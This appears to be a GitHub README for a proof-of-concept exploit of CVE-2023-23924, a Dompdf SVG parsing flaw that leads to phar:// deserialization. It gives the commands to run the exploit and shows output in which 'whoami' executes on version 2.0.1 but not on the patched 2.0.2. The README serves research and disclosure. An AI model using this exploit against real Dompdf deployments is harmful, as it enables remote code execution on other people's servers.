ssjt21 / CVE-2023-23924

CVE-2023-23924 PoC

CVE-2023-23924

Dompdf vulnerable to URI validation failure on SVG parsing · CVE-2023-23924 · GitHub Advisory Database
https://github.com/advisories/GHSA-3cw5-7cxw-v5qg

Run

# Terminal 1
❯ cd www
❯ php -S 127.0.0.1:9000 -t .

# Terminal 2
❯ cd src
❯ php cve_2023_23924.php

Check

Check the "whoami" command is running.

2.0.1

❯ php cve_2023_23924.php
PHP Warning:  file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173

Warning: file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
PHP Notice:  getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193

Notice: getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193
motikan2010

2.0.2

❯ php cve_2023_23924.php
(no output)

Reference

• phar:// deserialization - HackTricks
  https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization